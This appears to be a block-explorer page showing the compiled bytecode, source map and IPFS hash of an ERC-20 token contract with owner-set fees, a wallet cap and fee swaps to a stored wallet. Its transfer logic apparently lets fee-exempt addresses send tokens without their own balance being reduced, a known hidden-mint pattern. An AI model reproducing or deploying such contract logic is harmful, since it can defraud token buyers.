81565b34801561026157600080fd5b5060035460405160ff9091168152602001610172565b34801561028357600080fd5b506101c1600b5481565b34801561029957600080fd5b506101c1600c5481565b3480156102af57600080fd5b5060135461019b90600160b01b900460ff1681565b3480156102d057600080fd5b506101c16102df3660046110cd565b6001600160a01b031660009081526005602052604090205490565b34801561030657600080fd5b5061030f610580565b005b34801561031d57600080fd5b50601254610331906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561035557600080fd5b5061030f6105fd565b34801561036a57600080fd5b506000546001600160a01b0316610331565b34801561038857600080fd5b5061016561063e565b34801561039d57600080fd5b5061019b6103ac366004611060565b61064d565b3480156103bd57600080fd5b50601354610331906001600160a01b031681565b3480156103dd57600080fd5b506101c16103ec3660046110ea565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561042357600080fd5b506101c160115481565b34801561043957600080fd5b5060135461019b90600160a01b900460ff1681565b34801561045a57600080fd5b5061030f6104693660046110cd565b61065a565b60606001805461047d90611123565b80601f01602080910402602001604051908101604052809291908181526020018280546104a990611123565b80156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b5050505050905090565b600061050d338484610744565b5060015b92915050565b6000610524848484610805565b6105768433610571856040518060600160405280602881526020016112cb602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b8a565b610744565b5060019392505050565b6000546001600160a01b031633146105b35760405162461bcd60e51b81526004016105aa9061115d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016105aa9061115d565b6000196010556064600a556001600b819055600c55565b60606002805461047d90611123565b600061050d338484610805565b6000546001600160a01b031633146106845760405162461bcd60e51b81526004016105aa9061115d565b6001600160a01b0381166106e95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105aa565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061076457506001600160a01b03821615155b6107a45760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105aa565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061083157506008546001600160a01b03838116911614155b801561084657506001600160a01b0382163014155b801561086057506013546001600160a01b03838116911614155b801561087a57506009546001600160a01b03838116911614155b801561089457506000546001600160a01b03848116911614155b15610920576001600160a01b0382166000908152600560205260409020546010546108bf83836111a8565b111561091e5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105aa565b505b6001600160a01b0383161580159061094057506001600160a01b03821615155b6109845760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105aa565b600081116109e25760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105aa565b60095460ff600160a81b82048116600160a01b9092041610801590610a08575060115481115b8015610a1e5750601354600160a81b900460ff16155b8015610a4357506001600160a01b03831660009081526007602052604090205460ff16155b8015610a5c57506013546001600160a01b038381169116145b8015610a715750601354600160b01b900460ff165b15610aa4576009805460ff60a01b19169055306000908152600560205260409020548015610aa257610aa281610bb6565b505b6001600160a01b03831660009081526007602052604090205460019060ff1680610ae657506001600160a01b03831660009081526007602052604090205460ff165b80610b2d5750601354600160a01b900460ff168015610b1357506013546001600160a01b03858116911614155b8015610b2d57506013546001600160a01b03848116911614155b15610b3a57506000610b78565b6013546001600160a01b0390811690851603610b5b57600b54600a55610b78565b6013546001600160a01b0390811690841603610b7857600c54600a555b610b8484848484610bfb565b50505050565b60008184841115610bae5760405162461bcd60e51b81526004016105aa9190610ffa565b505050900390565b6013805460ff60a81b1916600160a81b179055610bd281610c68565b6008544790610bea906001600160a01b031682610dc2565b50506013805460ff60a81b19169055565b80610c0d57610c08610dfd565b610c41565b60098054600160a01b900460ff16906014610c27836111bb565b91906101000a81548160ff021916908360ff160217905550505b610c4c848484610e42565b80610b8457610b84600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c9d57610c9d6111da565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cf6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1a91906111f0565b81600181518110610d2d57610d2d6111da565b6001600160a01b039283166020918202929092010152601254610d539130911684610744565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d8c90859060009086903090429060040161120d565b600060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610df8573d6000803e3d6000fd5b505050565b600a54158015610e0d5750600b54155b8015610e195750600c54155b15610e2057565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b600080610e4e83610f85565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610e9557506010546001600160a01b03861660009081526005602052604090205411155b15610eaa57506000610ea7828461127e565b92505b6001600160a01b038516600090815260056020526040902054610ecd9084610fc3565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610efc9083610fd6565b6001600160a01b038516600090815260056020526040808220929092553081522054610f289082610fd6565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610faa6064610fa4600a5487610fe290919063ffffffff16565b90610fee565b90506000610fb88583610fc3565b959194509092505050565b6000610fcf828461127e565b9392505050565b6000610fcf82846111a8565b6000610fcf8284611291565b6000610fcf82846112a8565b600060208083528351808285015260005b818110156110275785810183015185820160400152820161100b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105d57600080fd5b50565b6000806040838503121561107357600080fd5b823561107e81611048565b946020939093013593505050565b6000806000606084860312156110a157600080fd5b83356110ac81611048565b925060208401356110bc81611048565b929592945050506040919091013590565b6000602082840312156110df57600080fd5b8135610fcf81611048565b600080604083850312156110fd57600080fd5b823561110881611048565b9150602083013561111881611048565b809150509250929050565b600181811c9082168061113757607f821691505b60208210810361115757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561051157610511611192565b600060ff821660ff81036111d1576111d1611192565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561120257600080fd5b8151610fcf81611048565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561125d5784516001600160a01b031683529383019391830191600101611238565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561051157610511611192565b808202811582820484141761051157610511611192565b6000826112c557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220095d0095b44e27cb532a11e2cc391610df369a6179699f56326e53c6fc17906464736f6c63430008130033

Deployed Bytecode Sourcemap

7861:8311:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10102:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10940:161;;;;;;;;;;-1:-1:-1;10940:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10940:161:0;1023:187:1;8906:55:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;8906:55:0;1215:177:1;9199:20:0;;;;;;;;;;-1:-1:-1;9199:20:0;;;;-1:-1:-1;;;9199:20:0;;;;;;10379:100;;;;;;;;;;-1:-1:-1;10459:12:0;;10379:100;;15637:313;;;;;;;;;;-1:-1:-1;15637:313:0;;;;;:::i;:::-;;:::i;8303:47::-;;;;;;;;;;-1:-1:-1;8303:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10288:83;;;;;;;;;;-1:-1:-1;10354:9:0;;10288:83;;10354:9;;;;2252:36:1;;2240:2;2225:18;10288:83:0;2110:184:1;8670:27:0;;;;;;;;;;;;;;;;8704:28;;;;;;;;;;;;;;;;9226:33;;;;;;;;;;-1:-1:-1;9226:33:0;;;;-1:-1:-1;;;9226:33:0;;;;;;10487:119;;;;;;;;;;-1:-1:-1;10487:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;10580:18:0;10553:7;10580:18;;;:9;:18;;;;;;;10487:119;6128:148;;;;;;;;;;;;;:::i;:::-;;9068:45;;;;;;;;;;-1:-1:-1;9068:45:0;;;;-1:-1:-1;;;;;9068:45:0;;;;;;-1:-1:-1;;;;;2495:32:1;;;2477:51;;2465:2;2450:18;9068:45:0;2299:235:1;15999:170:0;;;;;;;;;;;;;:::i;5811:87::-;;;;;;;;;;-1:-1:-1;5857:7:0;5884:6;-1:-1:-1;;;;;5884:6:0;5811:87;;10193;;;;;;;;;;;;;:::i;10614:167::-;;;;;;;;;;-1:-1:-1;10614:167:0;;;;;:::i;:::-;;:::i;9120:26::-;;;;;;;;;;-1:-1:-1;9120:26:0;;;;-1:-1:-1;;;;;9120:26:0;;;10789:143;;;;;;;;;;-1:-1:-1;10789:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;10897:18:0;;;10870:7;10897:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10789:143;8968:54;;;;;;;;;;;;;;;;9155:37;;;;;;;;;;-1:-1:-1;9155:37:0;;;;-1:-1:-1;;;9155:37:0;;;;;;6332:244;;;;;;;;;;-1:-1:-1;6332:244:0;;;;;:::i;:::-;;:::i;10102:83::-;10139:13;10172:5;10165:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10102:83;:::o;10940:161::-;11015:4;11032:39;377:10;11055:7;11064:6;11032:8;:39::i;:::-;-1:-1:-1;11089:4:0;10940:161;;;;;:::o;15637:313::-;15735:4;15752:36;15762:6;15770:9;15781:6;15752:9;:36::i;:::-;15799:121;15808:6;377:10;15830:89;15868:6;15830:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15830:19:0;;;;;;:11;:19;;;;;;;;377:10;15830:33;;;;;;;;;;:37;:89::i;:::-;15799:8;:121::i;:::-;-1:-1:-1;15938:4:0;15637:313;;;;;:::o;6128:148::-;5857:7;5884:6;-1:-1:-1;;;;;5884:6:0;377:10;5996:23;5988:68;;;;-1:-1:-1;;;5988:68:0;;;;;;;:::i;:::-;;;;;;;;;6235:1:::1;6219:6:::0;;6198:40:::1;::::0;-1:-1:-1;;;;;6219:6:0;;::::1;::::0;6198:40:::1;::::0;6235:1;;6198:40:::1;6266:1;6249:19:::0;;-1:-1:-1;;;;;;6249:19:0::1;::::0;;6128:148::o;15999:170::-;5857:7;5884:6;-1:-1:-1;;;;;5884:6:0;377:10;5996:23;5988:68;;;;-1:-1:-1;;;5988:68:0;;;;;;;:::i;:::-;-1:-1:-1;;16053:13:0::1;:27:::0;16113:3:::1;16091:19;:25:::0;16137:1:::1;16127:7;:11:::0;;;16149:8:::1;:12:::0;15999:170::o;10193:87::-;10232:13;10265:7;10258:14;;;;;:::i;10614:167::-;10692:4;10709:42;377:10;10733:9;10744:6;10709:9;:42::i;6332:244::-;5857:7;5884:6;-1:-1:-1;;;;;5884:6:0;377:10;5996:23;5988:68;;;;-1:-1:-1;;;5988:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6421:22:0;::::1;6413:73;;;::::0;-1:-1:-1;;;6413:73:0;;4088:2:1;6413:73:0::1;::::0;::::1;4070:21:1::0;4127:2;4107:18;;;4100:30;4166:34;4146:18;;;4139:62;-1:-1:-1;;;4217:18:1;;;4210:36;4263:19;;6413:73:0::1;3886:402:1::0;6413:73:0::1;6523:6;::::0;;6502:38:::1;::::0;-1:-1:-1;;;;;6502:38:0;;::::1;::::0;6523:6;::::1;::::0;6502:38:::1;::::0;::::1;6551:6;:17:::0;;-1:-1:-1;;;;;;6551:17:0::1;-1:-1:-1::0;;;;;6551:17:0;;;::::1;::::0;;;::::1;::::0;;6332:244::o;14771:266::-;-1:-1:-1;;;;;14866:19:0;;;;;;:44;;-1:-1:-1;;;;;;14889:21:0;;;;14866:44;14858:74;;;;-1:-1:-1;;;14858:74:0;;4495:2:1;14858:74:0;;;4477:21:1;4534:2;4514:18;;;4507:30;-1:-1:-1;;;4553:18:1;;;4546:47;4610:18;;14858:74:0;4293:341:1;14858:74:0;-1:-1:-1;;;;;14943:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14995:32;;1361:25:1;;;14995:32:0;;1334:18:1;14995:32:0;;;;;;;14771:266;;;:::o;12708:1597::-;5857:7;5884:6;-1:-1:-1;;;;;12867:13:0;;;5884:6;;12867:13;;;;:46;;-1:-1:-1;12903:10:0;;-1:-1:-1;;;;;12897:16:0;;;12903:10;;12897:16;;12867:46;:82;;;;-1:-1:-1;;;;;;12930:19:0;;12944:4;12930:19;;12867:82;:116;;;;-1:-1:-1;12972:11:0;;-1:-1:-1;;;;;12966:17:0;;;12972:11;;12966:17;;12867:116;:150;;;;-1:-1:-1;13006:11:0;;-1:-1:-1;;;;;13000:17:0;;;13006:11;;13000:17;;12867:150;:182;;;;-1:-1:-1;5857:7:0;5884:6;-1:-1:-1;;;;;13034:15:0;;;5884:6;;13034:15;;12867:182;12863:370;;;-1:-1:-1;;;;;10580:18:0;;13067:22;10580:18;;;:9;:18;;;;;;13157:13;;13129:23;13146:6;10580:18;13129:23;:::i;:::-;13128:42;;13120:94;;;;-1:-1:-1;;;13120:94:0;;5103:2:1;13120:94:0;;;5085:21:1;5142:2;5122:18;;;5115:30;5181:34;5161:18;;;5154:62;-1:-1:-1;;;5232:18:1;;;5225:38;5280:19;;13120:94:0;4901:404:1;13120:94:0;13050:183;12863:370;-1:-1:-1;;;;;13253:18:0;;;;;;:38;;-1:-1:-1;;;;;;13275:16:0;;;;13253:38;13245:72;;;;-1:-1:-1;;;13245:72:0;;5512:2:1;13245:72:0;;;5494:21:1;5551:2;5531:18;;;5524:30;-1:-1:-1;;;5570:18:1;;;5563:51;5631:18;;13245:72:0;5310:345:1;13245:72:0;13345:1;13336:6;:10;13328:60;;;;-1:-1:-1;;;13328:60:0;;5862:2:1;13328:60:0;;;5844:21:1;5901:2;5881:18;;;5874:30;5940:34;5920:18;;;5913:62;-1:-1:-1;;;5991:18:1;;;5984:35;6036:19;;13328:60:0;5660:401:1;13328:60:0;13430:6;;;-1:-1:-1;;;13430:6:0;;;;-1:-1:-1;;;13418:8:0;;;;:18;;;;:61;;;13463:16;;13454:6;:25;13418:61;:87;;;;-1:-1:-1;13497:8:0;;-1:-1:-1;;;13497:8:0;;;;13496:9;13418:87;:125;;;;-1:-1:-1;;;;;;13523:20:0;;;;;;:14;:20;;;;;;;;13522:21;13418:125;:159;;;;-1:-1:-1;13566:11:0;;-1:-1:-1;;;;;13560:17:0;;;13566:11;;13560:17;13418:159;:190;;;;-1:-1:-1;13594:14:0;;-1:-1:-1;;;13594:14:0;;;;13418:190;13401:458;;;13651:8;:12;;-1:-1:-1;;;;13651:12:0;;;13727:4;-1:-1:-1;10580:18:0;;;:9;:18;;;;;;13751:24;;13748:100;;13791:42;13812:20;13791;:42::i;:::-;13634:225;13401:458;-1:-1:-1;;;;;13923:20:0;;13879:12;13923:20;;;:14;:20;;;;;;13894:4;;13923:20;;;:42;;-1:-1:-1;;;;;;13947:18:0;;;;;;:14;:18;;;;;;;;13923:42;:110;;;-1:-1:-1;13970:18:0;;-1:-1:-1;;;13970:18:0;;;;:41;;;;-1:-1:-1;14000:11:0;;-1:-1:-1;;;;;13992:19:0;;;14000:11;;13992:19;;13970:41;:62;;;;-1:-1:-1;14021:11:0;;-1:-1:-1;;;;;14015:17:0;;;14021:11;;14015:17;;13970:62;13920:327;;;-1:-1:-1;14059:5:0;13920:327;;;14094:11;;-1:-1:-1;;;;;14094:11:0;;;14086:19;;;;14082:165;;14143:7;;14121:19;:29;14082:165;;;14178:11;;-1:-1:-1;;;;;14178:11:0;;;14172:17;;;;14168:79;;14227:8;;14205:19;:30;14168:79;14259:38;14274:4;14279:2;14282:6;14289:7;14259:14;:38::i;:::-;12811:1494;12708:1597;;;:::o;866:206::-;952:7;1013:12;1005:6;;;;997:29;;;;-1:-1:-1;;;997:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1048:5:0;;;866:206::o;14317:229::-;9505:8;:15;;-1:-1:-1;;;;9505:15:0;-1:-1:-1;;;9505:15:0;;;14405:37:::1;14421:20:::0;14405:15:::1;:37::i;:::-;14515:10;::::0;14475:21:::1;::::0;14507:31:::1;::::0;-1:-1:-1;;;;;14515:10:0::1;14475:21:::0;14507:7:::1;:31::i;:::-;-1:-1:-1::0;;9543:8:0;:16;;-1:-1:-1;;;;9543:16:0;;;14317:229::o;11109:352::-;11234:7;11230:94;;11257:12;:10;:12::i;:::-;11230:94;;;11302:8;:10;;-1:-1:-1;;;11302:10:0;;;;;:8;:10;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;11230:94;11334:44;11352:6;11360:9;11371:6;11334:17;:44::i;:::-;11403:7;11399:55;;11427:15;14620:17;;14598:19;:39;14658:15;;14648:7;:25;14696:16;;14685:8;:27;14554:169;15164:465;15253:16;;;15267:1;15253:16;;;;;;;;15229:21;;15253:16;;;;;;;;;;-1:-1:-1;15253:16:0;15229:40;;15298:4;15280;15285:1;15280:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15280:23:0;;;:7;;;;;;;;;;:23;;;;15324:13;;:20;;;-1:-1:-1;;;15324:20:0;;;;:13;;;;;:18;;:20;;;;;15280:7;;15324:20;;;;;:13;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15314:4;15319:1;15314:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15314:30:0;;;:7;;;;;;;;;:30;15387:13;;15355:60;;15372:4;;15387:13;15403:11;15355:8;:60::i;:::-;15426:13;;:195;;-1:-1:-1;;;15426:195:0;;-1:-1:-1;;;;;15426:13:0;;;;:64;;:195;;15505:11;;15426:13;;15548:4;;15575;;15595:15;;15426:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15218:411;15164:465;:::o;15045:111::-;15123:25;;-1:-1:-1;;;;;15123:17:0;;;:25;;;;;15141:6;;15123:25;;;;15141:6;15123:17;:25;;;;;;;;;;;;;;;;;;;;;15045:111;;:::o;11748:324::-;11792:19;;:24;:40;;;;-1:-1:-1;11820:7:0;;:12;11792:40;:57;;;;-1:-1:-1;11836:8:0;;:13;11792:57;11789:69;;;11748:324::o;11789:69::-;11888:7;;;11870:15;:25;11926:8;;;11907:16;:27;11966:19;;;11946:17;:39;-1:-1:-1;11996:11:0;;;;12018:12;;;;12041:23;11748:324::o;12080:620::-;12193:23;12218:12;12234:31;12253:11;12234:18;:31::i;:::-;-1:-1:-1;;;;;12279:22:0;;;;;;:14;:22;;;;;;12192:73;;-1:-1:-1;12192:73:0;-1:-1:-1;12279:22:0;;:60;;;;-1:-1:-1;12326:13:0;;-1:-1:-1;;;;;12305:17:0;;;;;;:9;:17;;;;;;:34;;12279:60;12276:145;;;-1:-1:-1;12363:1:0;12379:30;12394:15;12379:30;;:::i;:::-;;;12276:145;-1:-1:-1;;;;;12451:17:0;;;;;;:9;:17;;;;;;:34;;12473:11;12451:21;:34::i;:::-;-1:-1:-1;;;;;12431:17:0;;;;;;;:9;:17;;;;;;:54;;;;12519:20;;;;;;;:41;;12544:15;12519:24;:41::i;:::-;-1:-1:-1;;;;;12496:20:0;;;;;;:9;:20;;;;;;:64;;;;12616:4;12598:24;;;;:34;;12627:4;12598:28;:34::i;:::-;12589:4;12571:24;;;;:9;:24;;;;;;;;;:61;;;;12648:44;1361:25:1;;;-1:-1:-1;;;;;12648:44:0;;;;;;;;;;1334:18:1;12648:44:0;;;;;;;12171:529;;12080:620;;;:::o;11473:267::-;11544:7;11553;11573:12;11588:45;11629:3;11588:36;11604:19;;11588:11;:15;;:36;;;;:::i;:::-;:40;;:45::i;:::-;11573:60;-1:-1:-1;11644:23:0;11670:21;:11;11573:60;11670:15;:21::i;:::-;11644:47;11727:4;;-1:-1:-1;11473:267:0;;-1:-1:-1;;;11473:267:0:o;544:98::-;602:7;629:5;633:1;629;:5;:::i;:::-;622:12;544:98;-1:-1:-1;;;544:98:0:o;438:::-;496:7;523:5;527:1;523;:5;:::i;650:98::-;708:7;735:5;739:1;735;:5;:::i;760:98::-;818:7;845:5;849:1;845;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2747:388::-;2815:6;2823;2876:2;2864:9;2855:7;2851:23;2847:32;2844:52;;;2892:1;2889;2882:12;2844:52;2931:9;2918:23;2950:31;2975:5;2950:31;:::i;:::-;3000:5;-1:-1:-1;3057:2:1;3042:18;;3029:32;3070:33;3029:32;3070:33;:::i;:::-;3122:7;3112:17;;;2747:388;;;;;:::o;3140:380::-;3219:1;3215:12;;;;3262;;;3283:61;;3337:4;3329:6;3325:17;3315:27;;3283:61;3390:2;3382:6;3379:14;3359:18;3356:38;3353:161;;3436:10;3431:3;3427:20;3424:1;3417:31;3471:4;3468:1;3461:15;3499:4;3496:1;3489:15;3353:161;;3140:380;;;:::o;3525:356::-;3727:2;3709:21;;;3746:18;;;3739:30;3805:34;3800:2;3785:18;;3778:62;3872:2;3857:18;;3525:356::o;4639:127::-;4700:10;4695:3;4691:20;4688:1;4681:31;4731:4;4728:1;4721:15;4755:4;4752:1;4745:15;4771:125;4836:9;;;4857:10;;;4854:36;;;4870:18;;:::i;6066:175::-;6103:3;6147:4;6140:5;6136:16;6176:4;6167:7;6164:17;6161:43;;6184:18;;:::i;:::-;6233:1;6220:15;;6066:175;-1:-1:-1;;6066:175:1:o;6378:127::-;6439:10;6434:3;6430:20;6427:1;6420:31;6470:4;6467:1;6460:15;6494:4;6491:1;6484:15;6510:251;6580:6;6633:2;6621:9;6612:7;6608:23;6604:32;6601:52;;;6649:1;6646;6639:12;6601:52;6681:9;6675:16;6700:31;6725:5;6700:31;:::i;6766:980::-;7028:4;7076:3;7065:9;7061:19;7107:6;7096:9;7089:25;7133:2;7171:6;7166:2;7155:9;7151:18;7144:34;7214:3;7209:2;7198:9;7194:18;7187:31;7238:6;7273;7267:13;7304:6;7296;7289:22;7342:3;7331:9;7327:19;7320:26;;7381:2;7373:6;7369:15;7355:29;;7402:1;7412:195;7426:6;7423:1;7420:13;7412:195;;;7491:13;;-1:-1:-1;;;;;7487:39:1;7475:52;;7582:15;;;;7547:12;;;;7523:1;7441:9;7412:195;;;-1:-1:-1;;;;;;;7663:32:1;;;;7658:2;7643:18;;7636:60;-1:-1:-1;;;7727:3:1;7712:19;7705:35;7624:3;6766:980;-1:-1:-1;;;6766:980:1:o;7751:128::-;7818:9;;;7839:11;;;7836:37;;;7853:18;;:::i;7884:168::-;7957:9;;;7988;;8005:15;;;7999:22;;7985:37;7975:71;;8026:18;;:::i;8057:217::-;8097:1;8123;8113:132;;8167:10;8162:3;8158:20;8155:1;8148:31;8202:4;8199:1;8192:15;8230:4;8227:1;8220:15;8113:132;-1:-1:-1;8259:9:1;;8057:217::o

Swarm Source

ipfs://095d0095b44e27cb532a11e2cc391610df369a6179699f56326e53c6fc179064
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.